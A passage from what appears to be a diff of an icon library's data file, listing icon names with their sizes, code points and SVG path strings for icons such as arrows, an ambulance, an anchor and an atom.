0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "align-left": [448, 512, [], "f036", "M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "align-right": [448, 512, [], "f038", "M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z"], + "allergies": [448, 512, [], "f461", "M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"], + "ambulance": [640, 512, [], "f0f9", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "american-sign-language-interpreting": [640, 512, [], "f2a3", "M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z"], + "anchor": [576, 512, [], "f13d", "M12.971 352h32.394C67.172 454.735 181.944 512 288 512c106.229 0 220.853-57.38 242.635-160h32.394c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0l-67.029 67.029c-7.56 7.56-2.206 20.485 8.485 20.485h35.146c-20.29 54.317-84.963 86.588-144.117 94.015V256h52c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-52v-5.47c37.281-13.178 63.995-48.725 64-90.518C384.005 43.772 341.605.738 289.37.01 235.723-.739 192 42.525 192 96c0 41.798 26.716 77.35 64 90.53V192h-52c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v190.015c-58.936-7.399-123.82-39.679-144.117-94.015h35.146c10.691 0 16.045-12.926 8.485-20.485l-67.029-67.029c-4.686-4.686-12.284-4.686-16.971 0L4.485 331.515C-3.074 339.074 2.28 352 12.971 352zM288 64c17.645 0 32 14.355 32 32s-14.355 32-32 32-32-14.355-32-32 14.355-32 32-32z"], + "angle-double-down": [320, 512, [], "f103", "M143 256.3L7 120.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0L313 86.3c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.4 9.5-24.6 9.5-34 .1zm34 192l136-136c9.4-9.4 9.4-24.6 0-33.9l-22.6-22.6c-9.4-9.4-24.6-9.4-33.9 0L160 352.1l-96.4-96.4c-9.4-9.4-24.6-9.4-33.9 0L7 278.3c-9.4 9.4-9.4 24.6 0 33.9l136 136c9.4 9.5 24.6 9.5 34 .1z"], + "angle-double-left": [448, 512, [], "f100", "M223.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L319.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L393.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34zm-192 34l136 136c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9L127.9 256l96.4-96.4c9.4-9.4 9.4-24.6 0-33.9L201.7 103c-9.4-9.4-24.6-9.4-33.9 0l-136 136c-9.5 9.4-9.5 24.6-.1 34z"], + "angle-double-right": [448, 512, [], "f101", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34zm192-34l-136-136c-9.4-9.4-24.6-9.4-33.9 0l-22.6 22.6c-9.4 9.4-9.4 24.6 0 33.9l96.4 96.4-96.4 96.4c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l136-136c9.4-9.2 9.4-24.4 0-33.8z"], + "angle-double-up": [320, 512, [], "f102", "M177 255.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 351.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 425.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1zm-34-192L7 199.7c-9.4 9.4-9.4 24.6 0 33.9l22.6 22.6c9.4 9.4 24.6 9.4 33.9 0l96.4-96.4 96.4 96.4c9.4 9.4 24.6 9.4 33.9 0l22.6-22.6c9.4-9.4 9.4-24.6 0-33.9l-136-136c-9.2-9.4-24.4-9.4-33.8 0z"], + "angle-down": [320, 512, [], "f107", "M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"], + "angle-left": [256, 512, [], "f104", "M31.7 239l136-136c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9L127.9 256l96.4 96.4c9.4 9.4 9.4 24.6 0 33.9L201.7 409c-9.4 9.4-24.6 9.4-33.9 0l-136-136c-9.5-9.4-9.5-24.6-.1-34z"], + "angle-right": [256, 512, [], "f105", "M224.3 273l-136 136c-9.4 9.4-24.6 9.4-33.9 0l-22.6-22.6c-9.4-9.4-9.4-24.6 0-33.9l96.4-96.4-96.4-96.4c-9.4-9.4-9.4-24.6 0-33.9L54.3 103c9.4-9.4 24.6-9.4 33.9 0l136 136c9.5 9.4 9.5 24.6.1 34z"], + "angle-up": [320, 512, [], "f106", "M177 159.7l136 136c9.4 9.4 9.4 24.6 0 33.9l-22.6 22.6c-9.4 9.4-24.6 9.4-33.9 0L160 255.9l-96.4 96.4c-9.4 9.4-24.6 9.4-33.9 0L7 329.7c-9.4-9.4-9.4-24.6 0-33.9l136-136c9.4-9.5 24.6-9.5 34-.1z"], + "angry": [496, 512, [], "f556", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 240c0-9.3 4.1-17.5 10.5-23.4l-31-9.3c-8.5-2.5-13.3-11.5-10.7-19.9 2.5-8.5 11.4-13.2 19.9-10.7l80 24c8.5 2.5 13.3 11.5 10.7 19.9-2.1 6.9-8.4 11.4-15.3 11.4-.5 0-1.1-.2-1.7-.2.7 2.7 1.7 5.3 1.7 8.2 0 17.7-14.3 32-32 32S136 257.7 136 240zm168 154.2c-27.8-33.4-84.2-33.4-112.1 0-13.5 16.3-38.2-4.2-24.6-20.5 20-24 49.4-37.8 80.6-37.8s60.6 13.8 80.6 37.8c13.8 16.5-11.1 36.6-24.5 20.5zm76.6-186.9l-31 9.3c6.3 5.8 10.5 14.1 10.5 23.4 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-2.9.9-5.6 1.7-8.2-.6.1-1.1.2-1.7.2-6.9 0-13.2-4.5-15.3-11.4-2.5-8.5 2.3-17.4 10.7-19.9l80-24c8.4-2.5 17.4 2.3 19.9 10.7 2.5 8.5-2.3 17.4-10.8 19.9z"], + "ankh": [320, 512, [], "f644", "M296 256h-44.62C272.46 222.01 288 181.65 288 144 288 55.63 230.69 0 160 0S32 55.63 32 144c0 37.65 15.54 78.01 36.62 112H24c-13.25 0-24 10.74-24 24v32c0 13.25 10.75 24 24 24h96v152c0 13.25 10.75 24 24 24h32c13.25 0 24-10.75 24-24V336h96c13.25 0 24-10.75 24-24v-32c0-13.26-10.75-24-24-24zM160 80c29.61 0 48 24.52 48 64 0 34.66-27.14 78.14-48 100.87-20.86-22.72-48-66.21-48-100.87 0-39.48 18.39-64 48-64z"], + "apple-alt": [448, 512, [], "f5d1", "M350.85 129c25.97 4.67 47.27 18.67 63.92 42 14.65 20.67 24.64 46.67 29.96 78 4.67 28.67 4.32 57.33-1 86-7.99 47.33-23.97 87-47.94 119-28.64 38.67-64.59 58-107.87 58-10.66 0-22.3-3.33-34.96-10-8.66-5.33-18.31-8-28.97-8s-20.3 2.67-28.97 8c-12.66 6.67-24.3 10-34.96 10-43.28 0-79.23-19.33-107.87-58-23.97-32-39.95-71.67-47.94-119-5.32-28.67-5.67-57.33-1-86 5.32-31.33 15.31-57.33 29.96-78 16.65-23.33 37.95-37.33 63.92-42 15.98-2.67 37.95-.33 65.92 7 23.97 6.67 44.28 14.67 60.93 24 16.65-9.33 36.96-17.33 60.93-24 27.98-7.33 49.96-9.67 65.94-7zm-54.94-41c-9.32 8.67-21.65 15-36.96 19-10.66 3.33-22.3 5-34.96 5l-14.98-1c-1.33-9.33-1.33-20 0-32 2.67-24 10.32-42.33 22.97-55 9.32-8.67 21.65-15 36.96-19 10.66-3.33 22.3-5 34.96-5l14.98 1 1 15c0 12.67-1.67 24.33-4.99 35-3.99 15.33-10.31 27.67-18.98 37z"], + "archive": [512, 512, [], "f187", "M32 448c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V160H32v288zm160-212c0-6.6 5.4-12 12-12h104c6.6 0 12 5.4 12 12v8c0 6.6-5.4 12-12 12H204c-6.6 0-12-5.4-12-12v-8zM480 32H32C14.3 32 0 46.3 0 64v48c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16V64c0-17.7-14.3-32-32-32z"], + "archway": [576, 512, [], "f557", "M560 448h-16V96H32v352H16.02c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16H176c8.84 0 16-7.16 16-16V320c0-53.02 42.98-96 96-96s96 42.98 96 96l.02 160v16c0 8.84 7.16 16 16 16H560c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm0-448H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h544c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"], + "arrow-alt-circle-down": [512, 512, [], "f358", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM212 140v116h-70.9c-10.7 0-16.1 13-8.5 20.5l114.9 114.3c4.7 4.7 12.2 4.7 16.9 0l114.9-114.3c7.6-7.6 2.2-20.5-8.5-20.5H300V140c0-6.6-5.4-12-12-12h-64c-6.6 0-12 5.4-12 12z"], + "arrow-alt-circle-left": [512, 512, [], "f359", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm116-292H256v-70.9c0-10.7-13-16.1-20.5-8.5L121.2 247.5c-4.7 4.7-4.7 12.2 0 16.9l114.3 114.9c7.6 7.6 20.5 2.2 20.5-8.5V300h116c6.6 0 12-5.4 12-12v-64c0-6.6-5.4-12-12-12z"], + "arrow-alt-circle-right": [512, 512, [], "f35a", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zM140 300h116v70.9c0 10.7 13 16.1 20.5 8.5l114.3-114.9c4.7-4.7 4.7-12.2 0-16.9l-114.3-115c-7.6-7.6-20.5-2.2-20.5 8.5V212H140c-6.6 0-12 5.4-12 12v64c0 6.6 5.4 12 12 12z"], + "arrow-alt-circle-up": [512, 512, [], "f35b", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm292 116V256h70.9c10.7 0 16.1-13 8.5-20.5L264.5 121.2c-4.7-4.7-12.2-4.7-16.9 0l-115 114.3c-7.6 7.6-2.2 20.5 8.5 20.5H212v116c0 6.6 5.4 12 12 12h64c6.6 0 12-5.4 12-12z"], + "arrow-circle-down": [512, 512, [], "f0ab", "M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-143.6-28.9L288 302.6V120c0-13.3-10.7-24-24-24h-16c-13.3 0-24 10.7-24 24v182.6l-72.4-75.5c-9.3-9.7-24.8-9.9-34.3-.4l-10.9 11c-9.4 9.4-9.4 24.6 0 33.9L239 404.3c9.4 9.4 24.6 9.4 33.9 0l132.7-132.7c9.4-9.4 9.4-24.6 0-33.9l-10.9-11c-9.5-9.5-25-9.3-34.3.4z"], + "arrow-circle-left": [512, 512, [], "f0a8", "M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zm28.9-143.6L209.4 288H392c13.3 0 24-10.7 24-24v-16c0-13.3-10.7-24-24-24H209.4l75.5-72.4c9.7-9.3 9.9-24.8.4-34.3l-11-10.9c-9.4-9.4-24.6-9.4-33.9 0L107.7 239c-9.4 9.4-9.4 24.6 0 33.9l132.7 132.7c9.4 9.4 24.6 9.4 33.9 0l11-10.9c9.5-9.5 9.3-25-.4-34.3z"], + "arrow-circle-right": [512, 512, [], "f0a9", "M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm-28.9 143.6l75.5 72.4H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h182.6l-75.5 72.4c-9.7 9.3-9.9 24.8-.4 34.3l11 10.9c9.4 9.4 24.6 9.4 33.9 0L404.3 273c9.4-9.4 9.4-24.6 0-33.9L271.6 106.3c-9.4-9.4-24.6-9.4-33.9 0l-11 10.9c-9.5 9.6-9.3 25.1.4 34.4z"], + "arrow-circle-up": [512, 512, [], "f0aa", "M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm143.6 28.9l72.4-75.5V392c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24V209.4l72.4 75.5c9.3 9.7 24.8 9.9 34.3.4l10.9-11c9.4-9.4 9.4-24.6 0-33.9L273 107.7c-9.4-9.4-24.6-9.4-33.9 0L106.3 240.4c-9.4 9.4-9.4 24.6 0 33.9l10.9 11c9.6 9.5 25.1 9.3 34.4-.4z"], + "arrow-down": [448, 512, [], "f063", "M413.1 222.5l22.2 22.2c9.4 9.4 9.4 24.6 0 33.9L241 473c-9.4 9.4-24.6 9.4-33.9 0L12.7 278.6c-9.4-9.4-9.4-24.6 0-33.9l22.2-22.2c9.5-9.5 25-9.3 34.3.4L184 343.4V56c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24v287.4l114.8-120.5c9.3-9.8 24.8-10 34.3-.4z"], + "arrow-left": [448, 512, [], "f060", "M257.5 445.1l-22.2 22.2c-9.4 9.4-24.6 9.4-33.9 0L7 273c-9.4-9.4-9.4-24.6 0-33.9L201.4 44.7c9.4-9.4 24.6-9.4 33.9 0l22.2 22.2c9.5 9.5 9.3 25-.4 34.3L136.6 216H424c13.3 0 24 10.7 24 24v32c0 13.3-10.7 24-24 24H136.6l120.5 114.8c9.8 9.3 10 24.8.4 34.3z"], + "arrow-right": [448, 512, [], "f061", "M190.5 66.9l22.2-22.2c9.4-9.4 24.6-9.4 33.9 0L441 239c9.4 9.4 9.4 24.6 0 33.9L246.6 467.3c-9.4 9.4-24.6 9.4-33.9 0l-22.2-22.2c-9.5-9.5-9.3-25 .4-34.3L311.4 296H24c-13.3 0-24-10.7-24-24v-32c0-13.3 10.7-24 24-24h287.4L190.9 101.2c-9.8-9.3-10-24.8-.4-34.3z"], + "arrow-up": [448, 512, [], "f062", "M34.9 289.5l-22.2-22.2c-9.4-9.4-9.4-24.6 0-33.9L207 39c9.4-9.4 24.6-9.4 33.9 0l194.3 194.3c9.4 9.4 9.4 24.6 0 33.9L413 289.4c-9.5 9.5-25 9.3-34.3-.4L264 168.6V456c0 13.3-10.7 24-24 24h-32c-13.3 0-24-10.7-24-24V168.6L69.2 289.1c-9.3 9.8-24.8 10-34.3.4z"], + "arrows-alt": [512, 512, [], "f0b2", "M352.201 425.775l-79.196 79.196c-9.373 9.373-24.568 9.373-33.941 0l-79.196-79.196c-15.119-15.119-4.411-40.971 16.971-40.97h51.162L228 284H127.196v51.162c0 21.382-25.851 32.09-40.971 16.971L7.029 272.937c-9.373-9.373-9.373-24.569 0-33.941L86.225 159.8c15.119-15.119 40.971-4.411 40.971 16.971V228H228V127.196h-51.23c-21.382 0-32.09-25.851-16.971-40.971l79.196-79.196c9.373-9.373 24.568-9.373 33.941 0l79.196 79.196c15.119 15.119 4.411 40.971-16.971 40.971h-51.162V228h100.804v-51.162c0-21.382 25.851-32.09 40.97-16.971l79.196 79.196c9.373 9.373 9.373 24.569 0 33.941L425.773 352.2c-15.119 15.119-40.971 4.411-40.97-16.971V284H284v100.804h51.23c21.382 0 32.09 25.851 16.971 40.971z"], + "arrows-alt-h": [512, 512, [], "f337", "M377.941 169.941V216H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.568 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296h243.882v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.568 0-33.941l-86.059-86.059c-15.119-15.12-40.971-4.412-40.971 16.97z"], + "arrows-alt-v": [256, 512, [], "f338", "M214.059 377.941H168V134.059h46.059c21.382 0 32.09-25.851 16.971-40.971L144.971 7.029c-9.373-9.373-24.568-9.373-33.941 0L24.971 93.088c-15.119 15.119-4.411 40.971 16.971 40.971H88v243.882H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.568 9.373 33.941 0l86.059-86.059c15.12-15.119 4.412-40.971-16.97-40.971z"], + "assistive-listening-systems": [512, 512, [], "f2a2", "M216 260c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-44.112 35.888-80 80-80s80 35.888 80 80c0 15.464-12.536 28-28 28s-28-12.536-28-28c0-13.234-10.767-24-24-24s-24 10.766-24 24zm24-176c-97.047 0-176 78.953-176 176 0 15.464 12.536 28 28 28s28-12.536 28-28c0-66.168 53.832-120 120-120s120 53.832 120 120c0 75.164-71.009 70.311-71.997 143.622L288 404c0 28.673-23.327 52-52 52-15.464 0-28 12.536-28 28s12.536 28 28 28c59.475 0 107.876-48.328 108-107.774.595-34.428 72-48.24 72-144.226 0-97.047-78.953-176-176-176zm-80 236c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM32 448c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm480-187.993c0-1.518-.012-3.025-.045-4.531C510.076 140.525 436.157 38.47 327.994 1.511c-14.633-4.998-30.549 2.809-35.55 17.442-5 14.633 2.81 30.549 17.442 35.55 85.906 29.354 144.61 110.513 146.077 201.953l.003.188c.026 1.118.033 2.236.033 3.363 0 15.464 12.536 28 28 28s28.001-12.536 28.001-28zM152.971 439.029l-80-80L39.03 392.97l80 80 33.941-33.941z"], + "asterisk": [512, 512, [], "f069", "M478.21 334.093L336 256l142.21-78.093c11.795-6.477 15.961-21.384 9.232-33.037l-19.48-33.741c-6.728-11.653-21.72-15.499-33.227-8.523L296 186.718l3.475-162.204C299.763 11.061 288.937 0 275.48 0h-38.96c-13.456 0-24.283 11.061-23.994 24.514L216 186.718 77.265 102.607c-11.506-6.976-26.499-3.13-33.227 8.523l-19.48 33.741c-6.728 11.653-2.562 26.56 9.233 33.037L176 256 33.79 334.093c-11.795 6.477-15.961 21.384-9.232 33.037l19.48 33.741c6.728 11.653 21.721 15.499 33.227 8.523L216 325.282l-3.475 162.204C212.237 500.939 223.064 512 236.52 512h38.961c13.456 0 24.283-11.061 23.995-24.514L296 325.282l138.735 84.111c11.506 6.976 26.499 3.13 33.227-8.523l19.48-33.741c6.728-11.653 2.563-26.559-9.232-33.036z"], + "at": [512, 512, [], "f1fa", "M256 8C118.941 8 8 118.919 8 256c0 137.059 110.919 248 248 248 48.154 0 95.342-14.14 135.408-40.223 12.005-7.815 14.625-24.288 5.552-35.372l-10.177-12.433c-7.671-9.371-21.179-11.667-31.373-5.129C325.92 429.757 291.314 440 256 440c-101.458 0-184-82.542-184-184S154.542 72 256 72c100.139 0 184 57.619 184 160 0 38.786-21.093 79.742-58.17 83.693-17.349-.454-16.91-12.857-13.476-30.024l23.433-121.11C394.653 149.75 383.308 136 368.225 136h-44.981a13.518 13.518 0 0 0-13.432 11.993l-.01.092c-14.697-17.901-40.448-21.775-59.971-21.775-74.58 0-137.831 62.234-137.831 151.46 0 65.303 36.785 105.87 96 105.87 26.984 0 57.369-15.637 74.991-38.333 9.522 34.104 40.613 34.103 70.71 34.103C462.609 379.41 504 307.798 504 232 504 95.653 394.023 8 256 8zm-21.68 304.43c-22.249 0-36.07-15.623-36.07-40.771 0-44.993 30.779-72.729 58.63-72.729 22.292 0 35.601 15.241 35.601 40.77 0 45.061-33.875 72.73-58.161 72.73z"], + "atlas": [448, 512, [], "f558", "M318.38 208h-39.09c-1.49 27.03-6.54 51.35-14.21 70.41 27.71-13.24 48.02-39.19 53.3-70.41zm0-32c-5.29-31.22-25.59-57.17-53.3-70.41 7.68 19.06 12.72 43.38 14.21 70.41h39.09zM224 97.31c-7.69 7.45-20.77 34.42-23.43 78.69h46.87c-2.67-44.26-15.75-71.24-23.44-78.69zm-41.08 8.28c-27.71 13.24-48.02 39.19-53.3 70.41h39.09c1.49-27.03 6.53-51.35 14.21-70.41zm0 172.82c-7.68-19.06-12.72-43.38-14.21-70.41h-39.09c5.28 31.22 25.59 57.17 53.3 70.41zM247.43 208h-46.87c2.66 44.26 15.74 71.24 23.43 78.69 7.7-7.45 20.78-34.43 23.44-78.69zM448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM224 64c70.69 0 128 57.31 128 128s-57.31 128-128 128S96 262.69 96 192 153.31 64 224 64zm160 384H96c-19.2 0-32-12.8-32-32s16-32 32-32h288v64z"], + "atom": [448, 512, [], "f5d2", "M223.99908,224a32,32,0,1,0,32.00782,32A32.06431,32.06431,0,0,0,223.99908,224Zm214.172-96c-10.877-19.5-40.50979-50.75-116.27544-41.875C300.39168,34.875,267.63386,0,223.99908,0s-76.39066,34.875-97.89653,86.125C50.3369,77.375,20.706,108.5,9.82907,128-6.54984,157.375-5.17484,201.125,34.958,256-5.17484,310.875-6.54984,354.625,9.82907,384c29.13087,52.375,101.64652,43.625,116.27348,41.875C147.60842,477.125,180.36429,512,223.99908,512s76.3926-34.875,97.89652-86.125c14.62891,1.75,87.14456,10.5,116.27544-41.875C454.55,354.625,453.175,310.875,413.04017,256,453.175,201.125,454.55,157.375,438.171,128ZM63.33886,352c-4-7.25-.125-24.75,15.00391-48.25,6.87695,6.5,14.12891,12.875,21.88087,19.125,1.625,13.75,4,27.125,6.75,40.125C82.34472,363.875,67.09081,358.625,63.33886,352Zm36.88478-162.875c-7.752,6.25-15.00392,12.625-21.88087,19.125-15.12891-23.5-19.00392-41-15.00391-48.25,3.377-6.125,16.37891-11.5,37.88478-11.5,1.75,0,3.875.375,5.75.375C104.09864,162.25,101.84864,175.625,100.22364,189.125ZM223.99908,64c9.50195,0,22.25586,13.5,33.88282,37.25-11.252,3.75-22.50391,8-33.88282,12.875-11.377-4.875-22.62892-9.125-33.88283-12.875C201.74516,77.5,214.49712,64,223.99908,64Zm0,384c-9.502,0-22.25392-13.5-33.88283-37.25,11.25391-3.75,22.50587-8,33.88283-12.875C235.378,402.75,246.62994,407,257.8819,410.75,246.25494,434.5,233.501,448,223.99908,448Zm0-112a80,80,0,1,1,80-80A80.00023,80.00023,0,0,1,223.99908,336ZM384.6593,352c-3.625,6.625-19.00392,11.875-43.63479,11,2.752-13,5.127-26.375,6.752-40.125,7.75195-6.25,15.00391-12.625,21.87891-19.125C384.7843,327.25,388.6593,344.75,384.6593,352ZM369.65538,208.25c-6.875-6.5-14.127-12.875-21.87891-19.125-1.625-13.5-3.875-26.875-6.752-40.25,1.875,0,4.002-.375,5.752-.375,21.5039